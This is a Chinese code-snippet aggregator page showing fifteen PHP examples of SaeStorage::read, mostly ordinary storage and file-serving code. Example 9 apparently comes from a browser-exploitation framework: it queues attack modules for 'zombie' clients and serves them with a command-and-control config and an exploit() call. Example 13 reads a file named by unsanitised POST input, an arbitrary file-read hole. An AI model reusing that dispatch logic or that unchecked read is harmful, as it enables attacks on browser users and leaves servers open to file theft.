本文整理汇总了PHP中SaeStorage::read方法的典型用法代码示例。如果您正苦于以下问题:PHP SaeStorage::read方法的具体用法?PHP SaeStorage::read怎么用?PHP SaeStorage::read使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类SaeStorage
的用法示例。
在下文中一共展示了SaeStorage::read方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: printTestCases
function printTestCases($pid, $OJ_DATA)
{
if (strstr($OJ_DATA, "saestor:")) {
// echo "<debug>$pid</debug>";
$store = new SaeStorage();
$ret = $store->getList("data", "{$pid}", 100, 0);
foreach ($ret as $file) {
// echo "<debug>$file</debug>";
if (!strstr($file, "sae-dir-tag")) {
$pinfo = pathinfo($file);
if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") {
$f = basename($pinfo['basename'], "." . $pinfo['extension']);
$outfile = "{$pid}/" . $f . ".out";
$infile = "{$pid}/" . $f . ".in";
if ($store->fileExists("data", $infile)) {
echo "<test_input><![CDATA[" . $store->read("data", $infile) . "]]></test_input>\n";
}
if ($store->fileExists("data", $outfile)) {
echo "<test_output><![CDATA[" . $store->read("data", $outfile) . "]]></test_output>\n";
}
// break;
}
}
}
} else {
$ret = "";
$pdir = opendir("{$OJ_DATA}/{$pid}/");
while ($file = readdir($pdir)) {
$pinfo = pathinfo($file);
if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") {
$ret = basename($pinfo['basename'], "." . $pinfo['extension']);
$outfile = "{$OJ_DATA}/{$pid}/" . $ret . ".out";
$infile = "{$OJ_DATA}/{$pid}/" . $ret . ".in";
if (file_exists($infile)) {
echo "<test_input><![CDATA[" . file_get_contents($infile) . "]]></test_input>\n";
}
if (file_exists($outfile)) {
echo "<test_output><![CDATA[" . file_get_contents($outfile) . "]]></test_output>\n";
}
// break;
}
}
closedir($pdir);
return $ret;
}
}
示例2: getFileContent
public static function getFileContent($filename)
{
if (OpenConfig::SAE_MODE) {
$s = new SaeStorage();
$data = $s->read(OpenConfig::SAE_DOMAIN, $filename);
} else {
$data = file_get_contents($filename);
}
return $data;
}
示例3: readModule
function readModule($fileName)
{
if ($fileName !== null) {
$fileName = basename($fileName);
$s = new SaeStorage();
$content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) . "\n" : "Module File Not Found!";
return htmlspecialchars($content, ENT_QUOTES);
} else {
return "Module File Not Found!";
}
}
示例4: __construct
public function __construct($ACCESS_TOKEN)
{
if (isset($_SERVER["HTTP_APPNAME"])) {
$storage = new SaeStorage();
$domain = "xycn";
$filename = "menu.json";
$this->menu = $storage->read($domain, $filename);
} else {
//LOCAL
$this->menu = file_get_contents("menu.json");
}
$this->MENU_CREATE_URL = "https://api.weixin.qq.com/cgi-bin/menu/create?access_token=" . $ACCESS_TOKEN;
$this->MENU_GET_URL = "https://api.weixin.qq.com/cgi-bin/menu/get?access_token=" . $ACCESS_TOKEN;
$this->MENU_DELETE_URL = "https://api.weixin.qq.com/cgi-bin/menu/delete?access_token=" . $ACCESS_TOKEN;
}
示例5: get
function get()
{
$fileid = $this->input->get('fileid');
if (!$this->utility->chk_id($fileid)) {
$this->json->output(array('success' => false, 'm' => '输入的记录编号错误'));
}
$file = $this->Proj_model->get_upload_by_id($fileid);
if (!empty($file)) {
$s = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY);
$content = $s->read('upload', $file[0]->filename);
header('Content-type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . urlencode($file[0]->filename) . '";');
//
exit($content);
}
}
示例6: SaeStorage
function s_read($path)
{
if (file_exists($path)) {
return file_get_contents($path);
} else {
if (IS_SAE) {
if (s_file_exists($path)) {
$_s = new SaeStorage();
$_f = _s_get_path($path);
return $_s->read($_f['domain'], $_f['filename']);
}
} else {
}
}
return false;
}
示例7: SaeStorageAppend
function SaeStorageAppend($FilePath, $AppendContent)
{
$storage = new SaeStorage();
$domain = Sae_Storage_Domain_Name;
$result = $storage->read($domain, $FilePath);
if ($result === false) {
return false;
}
$FileContent = $result . $AppendContent;
$size = -1;
//长度限制
//$attr = array('encoding'=>'gzip');//文件属性(gzip压缩)
//$compress = true;//文件是否gzip压缩
$attr = array();
$compress = false;
$result = $storage->write($domain, $FilePath, $FileContent, $size, $attr, $compress);
return $result;
}
示例8: file
public function file($path)
{
if (!IS_SAE) {
return;
}
$this->load->helper('url');
$file = uri_string();
if (substr($file, 0, 1) == '/') {
$file = substr($file, 1);
}
$storage = new SaeStorage();
$s_index = strpos($file, '/');
$_f = array('domain' => substr($file, 0, $s_index), 'filename' => substr($file, $s_index + 1));
if ($storage->fileExists($_f['domain'], $_f['filename'])) {
header('Content-Type:image/jpeg');
echo $storage->read($_f['domain'], $_f['filename']);
} else {
set_status_header(404);
}
}
示例9: ProjectModuleData
if ($mysqli = $db->openDB()) {
$pmd = new ProjectModuleData($mysqli, $log);
$attackData = new AttackData($mysqli, $log);
//更新客户端状态
if (!$pmd->updateStatus($pmd_id, $stat)) {
$log->error("update zombie status failed!");
}
//发送攻击模块 (队列形式发送) 先进先出
//更新攻击模块队列的状态 若超时,则判定攻击失败 默认15s超时
$attackData->updateAttackStatus($pmd_id, 15);
$attack = $attackData->fetchModuleToAttack($pmd_id);
if ($attack) {
$attackData->setStatus($attack['id'], 2);
//读取脚本文件
$s = new SaeStorage();
$content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) . "\n" : "";
//基本配置
$end_script = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:\"" . $attack['id'] . "\"};\n";
//继承module类
//$end_script .= "rat.extend(true,rat.module.".$attack['m_name'].",rat.module);\n";
//加载攻击配置
if (!empty($attack["config"]) || trim($attack["config"]) != "") {
$end_script .= "rat.module." . $attack['m_name'] . ".init(" . $attack["config"] . ");\n";
}
//执行攻击
$end_script .= "rat.module." . $attack['m_name'] . ".exploit();\n";
$res = $content . $end_script;
}
$db->closeDB();
} else {
$log->error("Open database connection failed!");
示例10: attachmentDataHandle
/**
* 获取实际文件数据
*
* @access public
* @param array $content
* @return string
*/
public static function attachmentDataHandle(array $content)
{
$stor = new SaeStorage();
$options = Typecho_Widget::widget('Widget_Options');
$SaeStorageDomain = $options->plugin('SaeUpload')->saestoragedomain;
return $stor->read($SaeStorageDomain, $content['attachment']->path);
}
示例11: attach_get
public function attach_get()
{
$itemid = $this->input->get('itemid');
if (!$this->utility->chk_id($itemid)) {
$this->json->output(array('success' => false, 'm' => '输入的记录编号错误'));
}
$file_info = $this->Reminder_model->get_by_id($itemid);
if (!empty($file_info)) {
$s = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY);
$content = $s->read('order', $file_info->store_attachment);
header('Content-type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . urlencode($file_info->attachment) . '";');
//
exit($content);
}
}
示例12: SaeStorage
/**
* Update/serve a cached file
*
* @access public
* @return void
*/
function _display_cache(&$CFG, &$URI)
{
$cache_domain = $CFG->item('cache_path');
$cache_method = $CFG->item('cache_method');
//---change---//
// if ( $cache_domain == ''){ return FALSE;}
// Build the file path. The file name is an MD5 hash of the full URI
$uri = $CFG->item('base_url') . $CFG->item('index_page') . $URI->uri_string;
$cache_file_name = md5($uri);
$cache_file = null;
if ($cache_method == "storage") {
$storage = new SaeStorage();
$cache_file = $storage->read($cache_domain, $cache_file_name);
} else {
if ($cache_method == "memcache") {
$mmc = memcache_init();
if ($mmc != FALSE) {
$cache_file = memcache_get($mmc, $cache_file_name);
if (!$cache_file) {
return FALSE;
}
} else {
return FALSE;
}
} else {
return FALSE;
}
}
if ($cache_file == null) {
return FALSE;
}
// Strip out the embedded timestamp
if (!preg_match("/(\\d+TS--->)/", $cache_file, $match)) {
return FALSE;
}
// Has the file expired? If so we'll delete it.
if (time() >= trim(str_replace('TS--->', '', $match['1']))) {
if ($cache_method == "storage") {
$storage->delete($cache_domain, $cache_file_name);
} else {
if ($cache_method == "memcache") {
$mmc = memcache_init();
if ($mmc != FALSE) {
memcache_delete($mmc, $cache_file_name);
}
}
}
log_message('debug', "Cache file has expired. File deleted");
return FALSE;
}
$this->_display(str_replace($match['0'], '', $cache_file));
log_message('debug', "Cache file is current. Sending it to browser.");
return TRUE;
}
示例13: while
while (($file = readdir($dir)) != "") {
if (!is_dir($file)) {
$file = pathinfo($file);
$file = $file['basename'];
echo "{$file}\n";
}
}
closedir($dir);
}
} else {
if (isset($_POST['gettestdata'])) {
$file = $_POST['filename'];
if ($OJ_SAE) {
$store = new SaeStorage();
if ($store->fileExists("data", $file)) {
echo $store->read("data", $file);
}
} else {
echo file_get_contents($OJ_DATA . '/' . $file);
}
} else {
if (isset($_POST['gettestdatadate'])) {
$file = $_POST['filename'];
echo filemtime($OJ_DATA . '/' . $file);
} else {
?>
<form action='problem_judge.php' method=post>
<b>HTTP Judge:</b><br />
sid:<input type=text size=10 name="sid" value=1244><br />
pid:<input type=text size=10 name="pid" value=1000><br />
示例14: define
static function upload_topic($pic_name, $change = 0, $oldpic = null)
{
define('DOMAIN', 'upload');
//要上传的storage名称定义
$temp = 'temp';
$s = new SaeStorage();
$poc = array('_big.jpg', '_midde.jpg', '_small.jpg', '.jpg');
foreach ($poc as $p) {
$pic = $pic_name . $p;
$img = $s->read($temp, $pic);
if ($s->write(DOMAIN, $pic, $img) == false) {
echo "图片写入失败!请重新上传,如果还是失败请联系客服!但是不要放弃对咱们原创的希望";
var_dump($s->errno(), $s->errmsg());
}
unset($pic);
unset($pics);
unset($img);
}
self::delete_topic($pic_name);
if ($change == 1) {
self::delete_topic($oldpic, 'jpg', 'upload');
}
unset($s);
return 1;
}
示例15: SaeStorage
if ($domain != 'USE_KVDB') {
$s = new SaeStorage();
if ($s->fileExists($domain, $file)) {
//获取文件后缀名
$info = pathinfo($file);
//如果后缀获取失败则默认为jpg
if (empty($info['extension'])) {
$info['extension'] = 'jpg';
}
//输出文件头
$header = file_header($info['extension']);
header("{$header}");
//cache
header("Cache-Control:public,max-age={$maxage}");
ob_start('ob_gzhandler');
echo $s->read($domain, $file);
} else {
header("HTTP/1.1 404 Not Found");
//exit();
}
} else {
//use KVDB
//去除第一个"/"
//echo 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']."\n";
//var_dump($file);exit();
$file = substr($file, 1, strlen($file) - 1);
if (file_exists('saekv://' . $file)) {
//获取文件后缀名
$info = pathinfo($file);
//如果后缀获取失败则默认为jpg
if (empty($info['extension'])) {